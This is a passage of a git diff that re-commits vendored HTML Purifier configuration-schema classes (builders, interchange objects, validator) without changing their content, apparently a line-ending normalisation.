=== null || $prototype === true) { + HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial(); + } + return HTMLPurifier_ConfigSchema::$singleton; + } + + /** + * Defines a directive for configuration + * @warning Will fail of directive's namespace is defined. + * @warning This method's signature is slightly different from the legacy + * define() static method! Beware! + * @param string $key Name of directive + * @param mixed $default Default value of directive + * @param string $type Allowed type of the directive. See + * HTMLPurifier_VarParser::$types for allowed values + * @param bool $allow_null Whether or not to allow null values + */ + public function add($key, $default, $type, $allow_null) + { + $obj = new stdClass(); + $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type]; + if ($allow_null) { + $obj->allow_null = true; + } + $this->info[$key] = $obj; + $this->defaults[$key] = $default; + $this->defaultPlist->set($key, $default); + } + + /** + * Defines a directive value alias. + * + * Directive value aliases are convenient for developers because it lets + * them set a directive to several values and get the same result. + * @param string $key Name of Directive + * @param array $aliases Hash of aliased values to the real alias + */ + public function addValueAliases($key, $aliases) + { + if (!isset($this->info[$key]->aliases)) { + $this->info[$key]->aliases = array(); + } + foreach ($aliases as $alias => $real) { + $this->info[$key]->aliases[$alias] = $real; + } + } + + /** + * Defines a set of allowed values for a directive. + * @warning This is slightly different from the corresponding static + * method definition. + * @param string $key Name of directive + * @param array $allowed Lookup array of allowed values + */ + public function addAllowedValues($key, $allowed) + { + $this->info[$key]->allowed = $allowed; + } + + /** + * Defines a directive alias for backwards compatibility + * @param string $key Directive that will be aliased + * @param string $new_key Directive that the alias will be to + */ + public function addAlias($key, $new_key) + { + $obj = new stdClass; + $obj->key = $new_key; + $obj->isAlias = true; + $this->info[$key] = $obj; + } + + /** + * Replaces any stdClass that only has the type property with type integer. + */ + public function postProcess() + { + foreach ($this->info as $key => $v) { + if (count((array) $v) == 1) { + $this->info[$key] = $v->type; + } elseif (count((array) $v) == 2 && isset($v->allow_null)) { + $this->info[$key] = -$v->type; + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php index 1174575ea9..d5906cd46d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php @@ -1,48 +1,48 @@ -directives as $d) { - $schema->add( - $d->id->key, - $d->default, - $d->type, - $d->typeAllowsNull - ); - if ($d->allowed !== null) { - $schema->addAllowedValues( - $d->id->key, - $d->allowed - ); - } - foreach ($d->aliases as $alias) { - $schema->addAlias( - $alias->key, - $d->id->key - ); - } - if ($d->valueAliases !== null) { - $schema->addValueAliases( - $d->id->key, - $d->valueAliases - ); - } - } - $schema->postProcess(); - return $schema; - } -} - -// vim: et sw=4 sts=4 +directives as $d) { + $schema->add( + $d->id->key, + $d->default, + $d->type, + $d->typeAllowsNull + ); + if ($d->allowed !== null) { + $schema->addAllowedValues( + $d->id->key, + $d->allowed + ); + } + foreach ($d->aliases as $alias) { + $schema->addAlias( + $alias->key, + $d->id->key + ); + } + if ($d->valueAliases !== null) { + $schema->addValueAliases( + $d->id->key, + $d->valueAliases + ); + } + } + $schema->postProcess(); + return $schema; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php index 0d00bf1d15..5fa56f7ddb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php @@ -1,144 +1,144 @@ -startElement('div'); - - $purifier = HTMLPurifier::getInstance(); - $html = $purifier->purify($html); - $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); - $this->writeRaw($html); - - $this->endElement(); // div - } - - /** - * @param mixed $var - * @return string - */ - protected function export($var) - { - if ($var === array()) { - return 'array()'; - } - return var_export($var, true); - } - - /** - * @param HTMLPurifier_ConfigSchema_Interchange $interchange - */ - public function build($interchange) - { - // global access, only use as last resort - $this->interchange = $interchange; - - $this->setIndent(true); - $this->startDocument('1.0', 'UTF-8'); - $this->startElement('configdoc'); - $this->writeElement('title', $interchange->name); - - foreach ($interchange->directives as $directive) { - $this->buildDirective($directive); - } - - if ($this->namespace) { - $this->endElement(); - } // namespace - - $this->endElement(); // configdoc - $this->flush(); - } - - /** - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive - */ - public function buildDirective($directive) - { - // Kludge, although I suppose having a notion of a "root namespace" - // certainly makes things look nicer when documentation is built. - // Depends on things being sorted. - if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) { - if ($this->namespace) { - $this->endElement(); - } // namespace - $this->namespace = $directive->id->getRootNamespace(); - $this->startElement('namespace'); - $this->writeAttribute('id', $this->namespace); - $this->writeElement('name', $this->namespace); - } - - $this->startElement('directive'); - $this->writeAttribute('id', $directive->id->toString()); - - $this->writeElement('name', $directive->id->getDirective()); - - $this->startElement('aliases'); - foreach ($directive->aliases as $alias) { - $this->writeElement('alias', $alias->toString()); - } - $this->endElement(); // aliases - - $this->startElement('constraints'); - if ($directive->version) { - $this->writeElement('version', $directive->version); - } - $this->startElement('type'); - if ($directive->typeAllowsNull) { - $this->writeAttribute('allow-null', 'yes'); - } - $this->text($directive->type); - $this->endElement(); // type - if ($directive->allowed) { - $this->startElement('allowed'); - foreach ($directive->allowed as $value => $x) { - $this->writeElement('value', $value); - } - $this->endElement(); // allowed - } - $this->writeElement('default', $this->export($directive->default)); - $this->writeAttribute('xml:space', 'preserve'); - if ($directive->external) { - $this->startElement('external'); - foreach ($directive->external as $project) { - $this->writeElement('project', $project); - } - $this->endElement(); - } - $this->endElement(); // constraints - - if ($directive->deprecatedVersion) { - $this->startElement('deprecated'); - $this->writeElement('version', $directive->deprecatedVersion); - $this->writeElement('use', $directive->deprecatedUse->toString()); - $this->endElement(); // deprecated - } - - $this->startElement('description'); - $this->writeHTMLDiv($directive->description); - $this->endElement(); // description - - $this->endElement(); // directive - } -} - -// vim: et sw=4 sts=4 +startElement('div'); + + $purifier = HTMLPurifier::getInstance(); + $html = $purifier->purify($html); + $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); + $this->writeRaw($html); + + $this->endElement(); // div + } + + /** + * @param mixed $var + * @return string + */ + protected function export($var) + { + if ($var === array()) { + return 'array()'; + } + return var_export($var, true); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + */ + public function build($interchange) + { + // global access, only use as last resort + $this->interchange = $interchange; + + $this->setIndent(true); + $this->startDocument('1.0', 'UTF-8'); + $this->startElement('configdoc'); + $this->writeElement('title', $interchange->name); + + foreach ($interchange->directives as $directive) { + $this->buildDirective($directive); + } + + if ($this->namespace) { + $this->endElement(); + } // namespace + + $this->endElement(); // configdoc + $this->flush(); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive + */ + public function buildDirective($directive) + { + // Kludge, although I suppose having a notion of a "root namespace" + // certainly makes things look nicer when documentation is built. + // Depends on things being sorted. + if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) { + if ($this->namespace) { + $this->endElement(); + } // namespace + $this->namespace = $directive->id->getRootNamespace(); + $this->startElement('namespace'); + $this->writeAttribute('id', $this->namespace); + $this->writeElement('name', $this->namespace); + } + + $this->startElement('directive'); + $this->writeAttribute('id', $directive->id->toString()); + + $this->writeElement('name', $directive->id->getDirective()); + + $this->startElement('aliases'); + foreach ($directive->aliases as $alias) { + $this->writeElement('alias', $alias->toString()); + } + $this->endElement(); // aliases + + $this->startElement('constraints'); + if ($directive->version) { + $this->writeElement('version', $directive->version); + } + $this->startElement('type'); + if ($directive->typeAllowsNull) { + $this->writeAttribute('allow-null', 'yes'); + } + $this->text($directive->type); + $this->endElement(); // type + if ($directive->allowed) { + $this->startElement('allowed'); + foreach ($directive->allowed as $value => $x) { + $this->writeElement('value', $value); + } + $this->endElement(); // allowed + } + $this->writeElement('default', $this->export($directive->default)); + $this->writeAttribute('xml:space', 'preserve'); + if ($directive->external) { + $this->startElement('external'); + foreach ($directive->external as $project) { + $this->writeElement('project', $project); + } + $this->endElement(); + } + $this->endElement(); // constraints + + if ($directive->deprecatedVersion) { + $this->startElement('deprecated'); + $this->writeElement('version', $directive->deprecatedVersion); + $this->writeElement('use', $directive->deprecatedUse->toString()); + $this->endElement(); // deprecated + } + + $this->startElement('description'); + $this->writeHTMLDiv($directive->description); + $this->endElement(); // description + + $this->endElement(); // directive + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php index 1abdcfc065..2671516c58 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php @@ -1,11 +1,11 @@ - array(directive info) - * @type HTMLPurifier_ConfigSchema_Interchange_Directive[] - */ - public $directives = array(); - - /** - * Adds a directive array to $directives - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive - * @throws HTMLPurifier_ConfigSchema_Exception - */ - public function addDirective($directive) - { - if (isset($this->directives[$i = $directive->id->toString()])) { - throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'"); - } - $this->directives[$i] = $directive; - } - - /** - * Convenience function to perform standard validation. Throws exception - * on failed validation. - */ - public function validate() - { - $validator = new HTMLPurifier_ConfigSchema_Validator(); - return $validator->validate($this); - } -} - -// vim: et sw=4 sts=4 + array(directive info) + * @type HTMLPurifier_ConfigSchema_Interchange_Directive[] + */ + public $directives = array(); + + /** + * Adds a directive array to $directives + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function addDirective($directive) + { + if (isset($this->directives[$i = $directive->id->toString()])) { + throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'"); + } + $this->directives[$i] = $directive; + } + + /** + * Convenience function to perform standard validation. Throws exception + * on failed validation. + */ + public function validate() + { + $validator = new HTMLPurifier_ConfigSchema_Validator(); + return $validator->validate($this); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php index 4c39c5c688..127a39a673 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php @@ -1,89 +1,89 @@ - true). - * Null if all values are allowed. - * @type array - */ - public $allowed; - - /** - * List of aliases for the directive. - * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))). - * @type HTMLPurifier_ConfigSchema_Interchange_Id[] - */ - public $aliases = array(); - - /** - * Hash of value aliases, e.g. array('alt' => 'real'). Null if value - * aliasing is disabled (necessary for non-scalar types). - * @type array - */ - public $valueAliases; - - /** - * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'. - * Null if the directive has always existed. - * @type string - */ - public $version; - - /** - * ID of directive that supercedes this old directive. - * Null if not deprecated. - * @type HTMLPurifier_ConfigSchema_Interchange_Id - */ - public $deprecatedUse; - - /** - * Version of HTML Purifier this directive was deprecated. Null if not - * deprecated. - * @type string - */ - public $deprecatedVersion; - - /** - * List of external projects this directive depends on, e.g. array('CSSTidy'). - * @type array - */ - public $external = array(); -} - -// vim: et sw=4 sts=4 + true). + * Null if all values are allowed. + * @type array + */ + public $allowed; + + /** + * List of aliases for the directive. + * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))). + * @type HTMLPurifier_ConfigSchema_Interchange_Id[] + */ + public $aliases = array(); + + /** + * Hash of value aliases, e.g. array('alt' => 'real'). Null if value + * aliasing is disabled (necessary for non-scalar types). + * @type array + */ + public $valueAliases; + + /** + * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'. + * Null if the directive has always existed. + * @type string + */ + public $version; + + /** + * ID of directive that supercedes this old directive. + * Null if not deprecated. + * @type HTMLPurifier_ConfigSchema_Interchange_Id + */ + public $deprecatedUse; + + /** + * Version of HTML Purifier this directive was deprecated. Null if not + * deprecated. + * @type string + */ + public $deprecatedVersion; + + /** + * List of external projects this directive depends on, e.g. array('CSSTidy'). + * @type array + */ + public $external = array(); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php index 3ee8171141..126f09d957 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php @@ -1,58 +1,58 @@ -key = $key; - } - - /** - * @return string - * @warning This is NOT magic, to ensure that people don't abuse SPL and - * cause problems for PHP 5.0 support. - */ - public function toString() - { - return $this->key; - } - - /** - * @return string - */ - public function getRootNamespace() - { - return substr($this->key, 0, strpos($this->key, ".")); - } - - /** - * @return string - */ - public function getDirective() - { - return substr($this->key, strpos($this->key, ".") + 1); - } - - /** - * @param string $id - * @return HTMLPurifier_ConfigSchema_Interchange_Id - */ - public static function make($id) - { - return new HTMLPurifier_ConfigSchema_Interchange_Id($id); - } -} - -// vim: et sw=4 sts=4 +key = $key; + } + + /** + * @return string + * @warning This is NOT magic, to ensure that people don't abuse SPL and + * cause problems for PHP 5.0 support. + */ + public function toString() + { + return $this->key; + } + + /** + * @return string + */ + public function getRootNamespace() + { + return substr($this->key, 0, strpos($this->key, ".")); + } + + /** + * @return string + */ + public function getDirective() + { + return substr($this->key, strpos($this->key, ".") + 1); + } + + /** + * @param string $id + * @return HTMLPurifier_ConfigSchema_Interchange_Id + */ + public static function make($id) + { + return new HTMLPurifier_ConfigSchema_Interchange_Id($id); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php index fe9b3268f4..655e6dd1b9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php @@ -1,226 +1,226 @@ -varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native(); - } - - /** - * @param string $dir - * @return HTMLPurifier_ConfigSchema_Interchange - */ - public static function buildFromDirectory($dir = null) - { - $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); - $interchange = new HTMLPurifier_ConfigSchema_Interchange(); - return $builder->buildDir($interchange, $dir); - } - - /** - * @param HTMLPurifier_ConfigSchema_Interchange $interchange - * @param string $dir - * @return HTMLPurifier_ConfigSchema_Interchange - */ - public function buildDir($interchange, $dir = null) - { - if (!$dir) { - $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema'; - } - if (file_exists($dir . '/info.ini')) { - $info = parse_ini_file($dir . '/info.ini'); - $interchange->name = $info['name']; - } - - $files = array(); - $dh = opendir($dir); - while (false !== ($file = readdir($dh))) { - if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') { - continue; - } - $files[] = $file; - } - closedir($dh); - - sort($files); - foreach ($files as $file) { - $this->buildFile($interchange, $dir . '/' . $file); - } - return $interchange; - } - - /** - * @param HTMLPurifier_ConfigSchema_Interchange $interchange - * @param string $file - */ - public function buildFile($interchange, $file) - { - $parser = new HTMLPurifier_StringHashParser(); - $this->build( - $interchange, - new HTMLPurifier_StringHash($parser->parseFile($file)) - ); - } - - /** - * Builds an interchange object based on a hash. - * @param HTMLPurifier_ConfigSchema_Interchange $interchange HTMLPurifier_ConfigSchema_Interchange object to build - * @param HTMLPurifier_StringHash $hash source data - * @throws HTMLPurifier_ConfigSchema_Exception - */ - public function build($interchange, $hash) - { - if (!$hash instanceof HTMLPurifier_StringHash) { - $hash = new HTMLPurifier_StringHash($hash); - } - if (!isset($hash['ID'])) { - throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID'); - } - if (strpos($hash['ID'], '.') === false) { - if (count($hash) == 2 && isset($hash['DESCRIPTION'])) { - $hash->offsetGet('DESCRIPTION'); // prevent complaining - } else { - throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace'); - } - } else { - $this->buildDirective($interchange, $hash); - } - $this->_findUnused($hash); - } - - /** - * @param HTMLPurifier_ConfigSchema_Interchange $interchange - * @param HTMLPurifier_StringHash $hash - * @throws HTMLPurifier_ConfigSchema_Exception - */ - public function buildDirective($interchange, $hash) - { - $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); - - // These are required elements: - $directive->id = $this->id($hash->offsetGet('ID')); - $id = $directive->id->toString(); // convenience - - if (isset($hash['TYPE'])) { - $type = explode('/', $hash->offsetGet('TYPE')); - if (isset($type[1])) { - $directive->typeAllowsNull = true; - } - $directive->type = $type[0]; - } else { - throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined"); - } - - if (isset($hash['DEFAULT'])) { - try { - $directive->default = $this->varParser->parse( - $hash->offsetGet('DEFAULT'), - $directive->type, - $directive->typeAllowsNull - ); - } catch (HTMLPurifier_VarParserException $e) { - throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'"); - } - } - - if (isset($hash['DESCRIPTION'])) { - $directive->description = $hash->offsetGet('DESCRIPTION'); - } - - if (isset($hash['ALLOWED'])) { - $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED'))); - } - - if (isset($hash['VALUE-ALIASES'])) { - $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES')); - } - - if (isset($hash['ALIASES'])) { - $raw_aliases = trim($hash->offsetGet('ALIASES')); - $aliases = preg_split('/\s*,\s*/', $raw_aliases); - foreach ($aliases as $alias) { - $directive->aliases[] = $this->id($alias); - } - } - - if (isset($hash['VERSION'])) { - $directive->version = $hash->offsetGet('VERSION'); - } - - if (isset($hash['DEPRECATED-USE'])) { - $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE')); - } - - if (isset($hash['DEPRECATED-VERSION'])) { - $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION'); - } - - if (isset($hash['EXTERNAL'])) { - $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL'))); - } - - $interchange->addDirective($directive); - } - - /** - * Evaluates an array PHP code string without array() wrapper - * @param string $contents - */ - protected function evalArray($contents) - { - return eval('return array(' . $contents . ');'); - } - - /** - * Converts an array list into a lookup array. - * @param array $array - * @return array - */ - protected function lookup($array) - { - $ret = array(); - foreach ($array as $val) { - $ret[$val] = true; - } - return $ret; - } - - /** - * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id - * object based on a string Id. - * @param string $id - * @return HTMLPurifier_ConfigSchema_Interchange_Id - */ - protected function id($id) - { - return HTMLPurifier_ConfigSchema_Interchange_Id::make($id); - } - - /** - * Triggers errors for any unused keys passed in the hash; such keys - * may indicate typos, missing values, etc. - * @param HTMLPurifier_StringHash $hash Hash to check. - */ - protected function _findUnused($hash) - { - $accessed = $hash->getAccessed(); - foreach ($hash as $k => $v) { - if (!isset($accessed[$k])) { - trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE); - } - } - } -} - -// vim: et sw=4 sts=4 +varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native(); + } + + /** + * @param string $dir + * @return HTMLPurifier_ConfigSchema_Interchange + */ + public static function buildFromDirectory($dir = null) + { + $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); + $interchange = new HTMLPurifier_ConfigSchema_Interchange(); + return $builder->buildDir($interchange, $dir); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param string $dir + * @return HTMLPurifier_ConfigSchema_Interchange + */ + public function buildDir($interchange, $dir = null) + { + if (!$dir) { + $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema'; + } + if (file_exists($dir . '/info.ini')) { + $info = parse_ini_file($dir . '/info.ini'); + $interchange->name = $info['name']; + } + + $files = array(); + $dh = opendir($dir); + while (false !== ($file = readdir($dh))) { + if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') { + continue; + } + $files[] = $file; + } + closedir($dh); + + sort($files); + foreach ($files as $file) { + $this->buildFile($interchange, $dir . '/' . $file); + } + return $interchange; + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param string $file + */ + public function buildFile($interchange, $file) + { + $parser = new HTMLPurifier_StringHashParser(); + $this->build( + $interchange, + new HTMLPurifier_StringHash($parser->parseFile($file)) + ); + } + + /** + * Builds an interchange object based on a hash. + * @param HTMLPurifier_ConfigSchema_Interchange $interchange HTMLPurifier_ConfigSchema_Interchange object to build + * @param HTMLPurifier_StringHash $hash source data + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function build($interchange, $hash) + { + if (!$hash instanceof HTMLPurifier_StringHash) { + $hash = new HTMLPurifier_StringHash($hash); + } + if (!isset($hash['ID'])) { + throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID'); + } + if (strpos($hash['ID'], '.') === false) { + if (count($hash) == 2 && isset($hash['DESCRIPTION'])) { + $hash->offsetGet('DESCRIPTION'); // prevent complaining + } else { + throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace'); + } + } else { + $this->buildDirective($interchange, $hash); + } + $this->_findUnused($hash); + } + + /** + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @param HTMLPurifier_StringHash $hash + * @throws HTMLPurifier_ConfigSchema_Exception + */ + public function buildDirective($interchange, $hash) + { + $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); + + // These are required elements: + $directive->id = $this->id($hash->offsetGet('ID')); + $id = $directive->id->toString(); // convenience + + if (isset($hash['TYPE'])) { + $type = explode('/', $hash->offsetGet('TYPE')); + if (isset($type[1])) { + $directive->typeAllowsNull = true; + } + $directive->type = $type[0]; + } else { + throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined"); + } + + if (isset($hash['DEFAULT'])) { + try { + $directive->default = $this->varParser->parse( + $hash->offsetGet('DEFAULT'), + $directive->type, + $directive->typeAllowsNull + ); + } catch (HTMLPurifier_VarParserException $e) { + throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'"); + } + } + + if (isset($hash['DESCRIPTION'])) { + $directive->description = $hash->offsetGet('DESCRIPTION'); + } + + if (isset($hash['ALLOWED'])) { + $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED'))); + } + + if (isset($hash['VALUE-ALIASES'])) { + $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES')); + } + + if (isset($hash['ALIASES'])) { + $raw_aliases = trim($hash->offsetGet('ALIASES')); + $aliases = preg_split('/\s*,\s*/', $raw_aliases); + foreach ($aliases as $alias) { + $directive->aliases[] = $this->id($alias); + } + } + + if (isset($hash['VERSION'])) { + $directive->version = $hash->offsetGet('VERSION'); + } + + if (isset($hash['DEPRECATED-USE'])) { + $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE')); + } + + if (isset($hash['DEPRECATED-VERSION'])) { + $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION'); + } + + if (isset($hash['EXTERNAL'])) { + $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL'))); + } + + $interchange->addDirective($directive); + } + + /** + * Evaluates an array PHP code string without array() wrapper + * @param string $contents + */ + protected function evalArray($contents) + { + return eval('return array(' . $contents . ');'); + } + + /** + * Converts an array list into a lookup array. + * @param array $array + * @return array + */ + protected function lookup($array) + { + $ret = array(); + foreach ($array as $val) { + $ret[$val] = true; + } + return $ret; + } + + /** + * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id + * object based on a string Id. + * @param string $id + * @return HTMLPurifier_ConfigSchema_Interchange_Id + */ + protected function id($id) + { + return HTMLPurifier_ConfigSchema_Interchange_Id::make($id); + } + + /** + * Triggers errors for any unused keys passed in the hash; such keys + * may indicate typos, missing values, etc. + * @param HTMLPurifier_StringHash $hash Hash to check. + */ + protected function _findUnused($hash) + { + $accessed = $hash->getAccessed(); + foreach ($hash as $k => $v) { + if (!isset($accessed[$k])) { + trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php index 9f14444f37..fb31277889 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php @@ -1,248 +1,248 @@ -parser = new HTMLPurifier_VarParser(); - } - - /** - * Validates a fully-formed interchange object. - * @param HTMLPurifier_ConfigSchema_Interchange $interchange - * @return bool - */ - public function validate($interchange) - { - $this->interchange = $interchange; - $this->aliases = array(); - // PHP is a bit lax with integer <=> string conversions in - // arrays, so we don't use the identical !== comparison - foreach ($interchange->directives as $i => $directive) { - $id = $directive->id->toString(); - if ($i != $id) { - $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'"); - } - $this->validateDirective($directive); - } - return true; - } - - /** - * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object. - * @param HTMLPurifier_ConfigSchema_Interchange_Id $id - */ - public function validateId($id) - { - $id_string = $id->toString(); - $this->context[] = "id '$id_string'"; - if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) { - // handled by InterchangeBuilder - $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id'); - } - // keys are now unconstrained (we might want to narrow down to A-Za-z0-9.) - // we probably should check that it has at least one namespace - $this->with($id, 'key') - ->assertNotEmpty() - ->assertIsString(); // implicit assertIsString handled by InterchangeBuilder - array_pop($this->context); - } - - /** - * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object. - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d - */ - public function validateDirective($d) - { - $id = $d->id->toString(); - $this->context[] = "directive '$id'"; - $this->validateId($d->id); - - $this->with($d, 'description') - ->assertNotEmpty(); - - // BEGIN - handled by InterchangeBuilder - $this->with($d, 'type') - ->assertNotEmpty(); - $this->with($d, 'typeAllowsNull') - ->assertIsBool(); - try { - // This also tests validity of $d->type - $this->parser->parse($d->default, $d->type, $d->typeAllowsNull); - } catch (HTMLPurifier_VarParserException $e) { - $this->error('default', 'had error: ' . $e->getMessage()); - } - // END - handled by InterchangeBuilder - - if (!is_null($d->allowed) || !empty($d->valueAliases)) { - // allowed and valueAliases require that we be dealing with - // strings, so check for that early. - $d_int = HTMLPurifier_VarParser::$types[$d->type]; - if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) { - $this->error('type', 'must be a string type when used with allowed or value aliases'); - } - } - - $this->validateDirectiveAllowed($d); - $this->validateDirectiveValueAliases($d); - $this->validateDirectiveAliases($d); - - array_pop($this->context); - } - - /** - * Extra validation if $allowed member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d - */ - public function validateDirectiveAllowed($d) - { - if (is_null($d->allowed)) { - return; - } - $this->with($d, 'allowed') - ->assertNotEmpty() - ->assertIsLookup(); // handled by InterchangeBuilder - if (is_string($d->default) && !isset($d->allowed[$d->default])) { - $this->error('default', 'must be an allowed value'); - } - $this->context[] = 'allowed'; - foreach ($d->allowed as $val => $x) { - if (!is_string($val)) { - $this->error("value $val", 'must be a string'); - } - } - array_pop($this->context); - } - - /** - * Extra validation if $valueAliases member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d - */ - public function validateDirectiveValueAliases($d) - { - if (is_null($d->valueAliases)) { - return; - } - $this->with($d, 'valueAliases') - ->assertIsArray(); // handled by InterchangeBuilder - $this->context[] = 'valueAliases'; - foreach ($d->valueAliases as $alias => $real) { - if (!is_string($alias)) { - $this->error("alias $alias", 'must be a string'); - } - if (!is_string($real)) { - $this->error("alias target $real from alias '$alias'", 'must be a string'); - } - if ($alias === $real) { - $this->error("alias '$alias'", "must not be an alias to itself"); - } - } - if (!is_null($d->allowed)) { - foreach ($d->valueAliases as $alias => $real) { - if (isset($d->allowed[$alias])) { - $this->error("alias '$alias'", 'must not be an allowed value'); - } elseif (!isset($d->allowed[$real])) { - $this->error("alias '$alias'", 'must be an alias to an allowed value'); - } - } - } - array_pop($this->context); - } - - /** - * Extra validation if $aliases member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d - */ - public function validateDirectiveAliases($d) - { - $this->with($d, 'aliases') - ->assertIsArray(); // handled by InterchangeBuilder - $this->context[] = 'aliases'; - 